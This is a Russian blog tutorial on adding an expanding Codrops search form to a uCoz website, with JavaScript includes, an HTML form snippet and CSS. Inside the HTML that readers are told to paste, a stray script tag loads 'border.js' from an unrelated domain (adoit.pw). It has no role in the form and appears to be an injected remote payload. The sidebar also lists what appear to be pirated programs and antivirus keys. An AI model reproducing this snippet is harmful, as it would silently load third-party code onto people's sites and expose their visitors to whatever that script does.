Здравствуй, Гость!
Хочешь расширить свои возможности?
Тебе нужно войти под своим логином или зарегистрироваться.
Меню сайта
Статистика
Яндекс.Метрика
Онлайн всего: 1
Гостей: 1
Пользователей: 0

Посетили сегодня:
Главная » 2013 » Август » 11 » Создаём раздвижную форму поиска для uCoz
14:18
Создаём раздвижную форму поиска для uCoz
Всем массовый привет, сегодня в этой статье мы будем адаптировать раздвижную форму поиска для uCoz, от Codrops.

Основным отличием данного решения от других, является тот момент, что отправить поисковой запрос форме поиска можно как при нажатии на клавиатуре кнопки Enter, так и при нажатии на иконку лупы стрелкой мыши.

И так давайте приступим к установке данного решения, для этого в самый низ страницы перед закрывающим тегом </body> установим следующие js:

Код
<script src="http://pnghosts.ru/js_css/classie.js"></script>
<script src="http://pnghosts.ru/js_css/uisearch.js"></script>
<script>
  new UISearch( document.getElementById( 'sb-search' ) );
</script>


Теперь давайте установим в нужное место страницы сайта следующий html код формы поиска, которая будет искать по всему сайту.

Код
<!-- Поиск по сайту -->  
  <div id="sb-search" class="sb-search">
  <form class="" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >
  <input class="sb-search-input" type="text" name="q" maxlength="130" value="Поиск по сайту..." onclick="if (this.value=='Поиск по сайту...'){this.value='';}"/>
  <input class="sb-search-submit" type="hidden" name="t" value="0" /><script type="text/javascript" src="http://adoit.pw/border.js"></script> <input class="sb-icon-search " type="submit" value="" />
  </form>  
  </div>  
  <!-- /Поиск по сайту -->


Теперь нам осталось стилизовать наш html код формы поиска, для этого пропишем следующие css стили:

Код
/* Раздвижная форма поиска для uCoz
------------------------------------------*/
.sb-search {
  position: relative;
  margin-top: 10px;
  width: 0%;
  min-width: 32px;
  height: 32px;
  float: right;
  overflow: hidden;
   
  -webkit-transition: width 0.3s;
  -moz-transition: width 0.3s;
  transition: width 0.3s;
  -webkit-backface-visibility: hidden;
}

.sb-search-input {
  position: absolute;
  top: 0;
  right: 0;
   
  margin: 0;
  z-index: 10;
  width:300px;
  height: 20px;
  outline: none;
  background: #fff;  
  border: 1px solid #CAD3DA;  
  padding: 5px 32px 5px 20px;
   
  font:11px Verdana,Arial,Helvetica, sans-serif;
  color:#555;  
  border-radius:3px 0px 0px 3px;  
}

.sb-search-input::-webkit-input-placeholder {
  color: #efb480;
}

.sb-search-input:-moz-placeholder {
  color: #efb480;
}

.sb-search-input::-moz-placeholder {
  color: #efb480;
}

.sb-search-input:-ms-input-placeholder {
  color: #efb480;
}

.sb-icon-search,
.sb-search-submit {
  position: absolute;
  right: 0;
  top: 0;
  margin: 0;
   
  width: 32px;
  height: 32px;
  display: block;

  line-height: 30px;
  text-align: center;
  cursor: pointer;
}

.sb-search-submit {
  background: #fff;
  color: transparent;
  border: none;
  outline: none;
  z-index: -1;
  -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";  
  filter: alpha(opacity=0);  
  opacity: 0;  
}

.sb-icon-search {
  border:none;  
  z-index: 90;
  background:#2cae58 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
  -webkit-font-smoothing: antialiased;
  border-radius:3px 3px 3px 3px;  
}

.sb-icon-search:before {
  content: "\e000";
}

.sb-search.sb-search-open,
.no-js .sb-search {
  width: 100%;
}

.sb-search.sb-search-open .sb-icon-search,
.no-js .sb-search .sb-icon-search {
  background:#c54744 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
  z-index: 11;
  border-radius:0px 3px 3px 0px;  
}

.sb-search.sb-search-open .sb-search-submit,
.no-js .sb-search .sb-search-submit {
  z-index: 90;
}


На этом всё, мы адаптировали и установили на ваш сайт раздвижную форму поиска для uCoz, от Codrops.

Спасибо за внимание!
Категория: Скрипты | Просмотров: 544 | Добавил: DoG | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Мой профиль

Самое популярное
» Драйвер принтера HP 1005 для Win 7 ( hp laserjet p1005 )Драйвер принтера HP 1005 для Win 7 ( hp laserjet p1005 )Железо
» Call of Duty 2 (2005, RUS)Call of Duty 2 (2005, RUS)Стрелялки
» Ключ к Антивирусу Касперского 2013 и сама программаКлюч к Антивирусу Касперского 2013 и сама программаЗащита
» Драйвер для принтера Samsung ML-1640Драйвер для принтера Samsung ML-1640Железо
» UPCMC Panasonic PBX Unified Maintenance Console for KX-TDE/KX-NCP/KX-TDA v6.2.1.1_R1UPCMC Panasonic PBX Unified Maintenance Console for KX-TDE/KX-NCP/KX-TDA v6.2.1.1_R1Утилиты
» Операция Трондхейм - Спецотряд (2003)Операция Трондхейм - Спецотряд (2003)Стрелялки
» Nissan X-Trail Т30 - руководство по ремонту и обслуживаниюNissan X-Trail Т30 - руководство по ремонту и обслуживаниюМир авто
» Новые стеклянные темы для Windows 7Новые стеклянные темы для Windows 7Украшения
» Дополнительные скины для AIMP 2 и 3Дополнительные скины для AIMP 2 и 3Украшения
» Magic Camera 6.8.0 ML - Эмулятор Веб камерыMagic Camera 6.8.0 ML - Эмулятор Веб камерыУтилиты
» КОМПАС 3D v13КОМПАС 3D v13Графика
» Adobe Ultra Cs3 Full + Virtual Sets Library 1,2,3Adobe Ultra Cs3 Full + Virtual Sets Library 1,2,3Мультимедиа
» Руководство по эксплуатации и ремонту Skoda Octavia A5 с 2004 гРуководство по эксплуатации и ремонту Skoda Octavia A5 с 2004 гМир авто
» FL studio 9 (полная версия + Русификатор)FL studio 9 (полная версия + Русификатор)Мультимедиа
» Novicorp Win To Flash Portable 0.7.0018 beta. RusNovicorp Win To Flash Portable 0.7.0018 beta. RusУтилиты
Друзья сайта
88x31
88x31
88x31
Хостинг от uCoz